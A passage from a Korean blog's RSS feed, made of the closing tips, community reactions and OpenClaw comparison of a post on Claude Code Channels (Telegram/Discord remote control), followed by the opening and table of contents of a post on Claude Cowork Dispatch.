&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.shareuhack.com/en/posts/claude-code-channels-telegram&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ShareUHack의 핸즈온 리뷰&lt;/a&gt;에 따르면: 모니터링 용도에는 기본 모드를, 자동 작업에는 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;를 사용하되 &lt;b&gt;작업 범위를 특정 프로젝트 디렉토리로 제한&lt;/b&gt;할 것을 권장한다. &quot;누가 메시지를 보내는가&quot;는 보호하지만, &quot;Claude가 메시지를 받은 후 무엇을 하는가&quot;는 skip-permissions 모드에서 보호할 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 5. 텔레그램 + 디스코드 동시 사용&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;--channels&lt;/code&gt; 플래그에 플러그인을 공백으로 구분하면 두 채널을 동시에 실행할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;css&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude --channels plugin:telegram@claude-plugins-official plugin:discord@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 채널은 독립적이다. 텔레그램 메시지에는 텔레그램으로, 디스코드 메시지에는 디스코드로 응답한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 15px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Tip 6. tmux 자동 재시작으로 세션 유지&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;세션이 크래시되더라도 자동으로 재시작되는 패턴:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;julia&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 크래시 시 5초 후 자동 재시작
tmux new -s claude-channels 'while true; do claude --channels plugin:telegram@claude-plugins-official; sleep 5; done'

# 나중에 다시 붙기
tmux attach -t claude-channels&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;낮에 외출, 밤에 복귀&quot; 패턴에 적합하다. 다만 진정한 24/7 데몬은 아니므로, 상시 실행이 필요하면 OpenClaw가 여전히 더 적합하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 필수: 페어링 직후 allowlist 모드로 전환 (섹션 6의 Step 4에서 이미 다룸)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;페어링 모드에서는 봇에게 메시지를 보내는 &lt;b&gt;누구나&lt;/b&gt; 페어링 코드를 받을 수 있다. 셋업 가이드(섹션 6)의 Step 4에서 이미 다뤘지만 다시 강조한다 &amp;mdash; 페어링 직후 반드시 실행해야 한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 8px; margin: 8px 0; font-family: 'Fira Code', monospace; font-size: 13px; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/telegram:access policy allowlist
/discord:access policy allowlist&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티가 가장 원하는 기능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;X와 Hacker News에서 반복적으로 등장하는 기능 요청:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;iMessage 지원&lt;/b&gt; &amp;mdash; 압도적 1위 요청. Apple 생태계 사용자의 숙원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Slack 연동&lt;/b&gt; &amp;mdash; 이미 Claude Code에 별도 Slack 통합이 있지만, Channels 형태의 양방향 연동 요청&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데몬화/영구 세션&lt;/b&gt; &amp;mdash; 세션 종료 없이 항시 실행되는 Channels 모드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;WhatsApp 통합&lt;/b&gt; &amp;mdash; OpenClaw 사용자들이 가장 아쉬워하는 플랫폼&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels 위에 만들어진 커뮤니티 프로젝트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출시 며칠 만에 개발자들이 Channels API 위에 흥미로운 확장을 만들기 시작했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Agent HTTP:&lt;/b&gt; Channels를 HTTP API로 래핑하여, REST 호출로 Claude Code를 원격 제어하는 프로젝트 (&lt;a href=&quot;https://news.ycombinator.com/item?id=47449799&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Discord-to-tmux 브릿지:&lt;/b&gt; 디스코드 메시지를 tmux 세션과 연동. 권한 프롬프트를 디스코드로 전달하는 기능 포함 (&lt;a href=&quot;https://news.ycombinator.com/item?id=47474174&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN&lt;/a&gt;, &lt;a href=&quot;https://github.com/potomak/claude-discord-bridge&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;claude-hub:&lt;/b&gt; GitHub Webhook 서비스. PR과 이슈에서 @멘션으로 Claude Code가 코드 지원을 제공 (&lt;a href=&quot;https://github.com/claude-did-this/claude-hub&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Codeman:&lt;/b&gt; Claude Code 세션을 WebUI로 관리. 권한 프롬프트 시 데스크톱 알림 지원 (&lt;a href=&quot;https://github.com/Ark0N/Codeman&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;전반적 분위기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대체로 긍정적.&lt;/b&gt; &quot;폰에서 문자 보내면 집 컴퓨터가 코드를 짠다&quot;는 패러다임에 대한 흥분이 지배적이다. 다만 &lt;b&gt;&quot;Remote Control과 큰 차이 없다&quot;&lt;/b&gt;는 냉정한 시각과, &lt;b&gt;토큰 비용&lt;/b&gt; 및 &lt;b&gt;skip-permissions 보안 우려&lt;/b&gt;도 20% 정도 존재한다. &quot;OpenClaw 킬러&quot;라는 프레이밍은 화제가 되었지만, 20개 이상의 플랫폼 지원과 모델 유연성을 가진 OpenClaw의 장점을 지적하는 반론도 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론: 어떤 것을 선택할까&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels와 OpenClaw는 &quot;채팅 앱으로 AI를 제어한다&quot;는 같은 겉모습 아래 근본적으로 다른 철학을 품고 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;이런 사람에게&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;Channels가 맞다&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;OpenClaw가 맞다&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 목적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;로컬 프로젝트를 원격 제어하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;24시간 상시 AI 비서가 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보안 요구&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;공식 지원 + 관리형 보안이 중요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;자유도와 커스터마이징이 중요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플랫폼&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;텔레그램/디스코드면 충분하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;WhatsApp, Signal 등 다양한 앱이 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인프라&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;추가 서버 없이 내 PC만 쓰고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버를 운영할 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;LLM 선택&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 생태계에 올인했다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;여러 LLM을 혼합 사용한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Channels&lt;/b&gt;는 Anthropic 공식, MCP 기반, 로컬 실행, 높은 보안. 세션 의존적이지만 로컬 프로젝트에 직접 접근 가능.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;는 오픈소스, 서버 기반, 20개+ 플랫폼, 24/7 상시 실행. 자유도 높지만 보안은 직접 관리.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;둘 다 &lt;b&gt;리서치 프리뷰 / 초기 단계&lt;/b&gt;라는 점에서 &quot;어떤 것이 절대적으로 낫다&quot;고 단정하기는 이르다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Channels의 &lt;b&gt;플러그인 아키텍처&lt;/b&gt;는 향후 플랫폼 확장 가능성을 열어두고 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인적으로는 Claude Code를 주력으로 사용하는 개발자라면 &lt;b&gt;Channels부터 시도해보는 것&lt;/b&gt;을 추천한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Fakechat으로 5분이면 체험할 수 있고, Telegram 설정도 5분이면 끝난다. 로컬 프로젝트에 직접 접근할 수 있다는 점이 실무에서는 결정적인 차이를 만든다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면 당장은 &quot;다양한 메시징 플랫폼에서 접근해야 한다&quot;라면 OpenClaw가 더 적합하다. 물론 보안 설정에 충분한 주의를 기울여야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티 반응과 향후 전망&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels 발표는 Hacker News에서 상위권에 올라 큰 관심을 모았다. &quot;나도 지난주에 이걸 만들고 있었는데&quot;라는 댓글이 다수 &amp;mdash; 그만큼 수요가 컸다는 방증이다. 개발자들은 이미 Channels 위에 &lt;b&gt;Agent HTTP&lt;/b&gt;(HTTP API 래퍼), &lt;b&gt;Discord-to-tmux 브릿지&lt;/b&gt; 등 확장 프로젝트를 만들고 있다.&lt;br /&gt;(출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47448524&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN: Push events into a running session with channels&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Channels는 리서치 프리뷰 단계이며, Anthropic은 피드백을 기반으로 지원 플랫폼을 확장할 계획이다. OpenClaw가 개척한 &quot;AI 에이전트를 메시징으로 제어&quot;하는 패러다임이 이제 공식 제품으로 흡수되고 있다. 이 경쟁은 개발자 생태계 전체에 긍정적이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4ff; padding: 20px; border-radius: 12px; border: 2px dashed #5436DA; margin: 25px 0;&quot;&gt;&lt;b&gt;그런데 &quot;OpenClaw 킬러&quot;라는 말을 듣기엔 해당 기능으로만은 부족 하다.&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels가 &quot;메시징으로 Claude Code를 제어&quot;하는 영역을 공략했다면, Anthropic에는 또 다른 카드가 있다 &amp;mdash; &lt;b&gt;Claude Computer Use&lt;/b&gt;. 텍스트 명령이 아니라 &lt;b&gt;실제로 마우스를 클릭하고, 브라우저를 열고, GUI 앱을 조작&lt;/b&gt;하는 기능이다. OpenClaw가 &quot;항상 켜진 메시징 에이전트&quot;로 강점을 가진다면, Computer Use는 &quot;화면을 직접 보는 에이전트&quot;라는 전혀 다른 차원을 열어준다.&lt;br /&gt;&lt;br /&gt;두 기능이 결합되면 &amp;mdash; 텔레그램에서 명령을 보내고, Claude가 PC 화면을 조작하여 결과를 돌려주는 시나리오 &amp;mdash; OpenClaw가 점령하던 영역이 상당 부분 대체될 수 있다. 이 주제는 다음 글에서 자세히 다룬다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;▶ 다음 글: &lt;b&gt;Claude Computer Use 완전 정복 &amp;mdash; 화면을 직접 제어하는 AI 에이전트&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/channels&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels - Claude Code 공식 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://www.macstories.net/stories/first-look-hands-on-with-claude-codes-new-telegram-and-discord-integrations/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MacStories - First Look: Hands-On with Claude Code's Telegram and Discord Integrations&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://dev.to/ji_ai/claude-code-channels-how-anthropic-built-a-two-way-bridge-between-telegram-and-your-terminal-2dpn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to - Claude Code Channels: How Anthropic Built a Two-Way Bridge&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://the-decoder.com/anthropic-turns-claude-code-into-an-always-on-ai-agent-with-new-channels-feature/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Decoder - Anthropic turns Claude Code into an always-on AI agent&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/OpenClaw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw - Wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://openclaw.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://venturebeat.com/orchestration/anthropic-just-shipped-an-openclaw-killer-called-claude-code-channels&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VentureBeat - Anthropic just shipped an OpenClaw killer&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://www.datastudios.org/post/claude-code-channels-what-it-is-how-it-works-and-how-to-use-it-with-mcp-telegram-and-discord&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DataStudios - Claude Code Channels 종합 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 코딩 도구</category>
      <category>Anthropic 공식 기능</category>
      <category>Claude Code Channels</category>
      <category>Claude Code 셋업</category>
      <category>OpenClaw</category>
      <category>디스코드 Claude Code</category>
      <category>원격 코딩</category>
      <category>클로드 코드 채널</category>
      <category>클로드 코드 텔레그램 연동</category>
      <category>텔레그램 Claude Code</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/559</guid>
      <comments>https://goddaehee.tistory.com/559#entry559comment</comments>
      <pubDate>Tue, 24 Mar 2026 22:40:05 +0900</pubDate>
    </item>
    <item>
      <title>Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기</title>
      <link>https://goddaehee.tistory.com/558</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 2026년 3월 16일 Anthropic이 연구 프리뷰로 출시한 Claude Cowork의 새 기능 &lt;b&gt;Dispatch&lt;/b&gt;에 대해 알아보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2302&quot; data-origin-height=&quot;1536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPTMsK/dJMcafeVFHt/LOUdljPJXmgC0DXURyob50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPTMsK/dJMcafeVFHt/LOUdljPJXmgC0DXURyob50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPTMsK/dJMcafeVFHt/LOUdljPJXmgC0DXURyob50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPTMsK%2FdJMcafeVFHt%2FLOUdljPJXmgC0DXURyob50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2302&quot; height=&quot;1536&quot; data-origin-width=&quot;2302&quot; data-origin-height=&quot;1536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;Dispatch는 간단히 말하면 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;폰으로 집 컴퓨터의 Claude에게 일을 시키는 기능&lt;/b&gt;&lt;/span&gt;이다. 외출 중에 스마트폰으로 &quot;이 파일 분석해서 보고서 작성해줘&quot;라고 지시하면, 집에 있는 데스크탑의 Claude가 로컬 파일과 연동 앱에 접근해서 작업을 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;그리고 이 기능이 출시된 타이밍이 흥미롭다. 3월 16일 NVIDIA CEO 젠슨 황이 GTC 2026 기조연설에서 &lt;b&gt;&quot;모든 기업은 OpenClaw 전략이 필요하다&quot;&lt;/b&gt;고 선언한 바로 다음 날이었다. 업계는 즉각 Anthropic이 자신들만의 방식으로 응수했다고 읽었다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Dispatch 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 지금 이 기능인가 &amp;mdash; 젠슨 황과 OpenClaw&lt;/li&gt;
&lt;li&gt;Dispatch란 무엇인가&lt;/li&gt;
&lt;li&gt;Cowork와의 관계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 간단 복습
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cowork란&lt;/li&gt;
&lt;li&gt;일반 Claude와의 차이&lt;/li&gt;
&lt;li&gt;커넥터와 플러그인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Dispatch 작동 원리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;QR코드 페어링&lt;/li&gt;
&lt;li&gt;하나의 지속적인 대화 스레드&lt;/li&gt;
&lt;li&gt;어떤 작업이 가능한가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;할 수 있는 작업들
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실전 사용 사례&lt;/li&gt;
&lt;li&gt;접근 가능한 커넥터&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;현재 한계와 솔직한 평가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MacStories 실전 테스트 결과&lt;/li&gt;
&lt;li&gt;현재 제약사항&lt;/li&gt;
&lt;li&gt;문제 상황별 대처&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenClaw vs Dispatch 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구조적 차이&lt;/li&gt;
&lt;li&gt;누구에게 어떤 선택이 맞는가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;구독 플랜&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
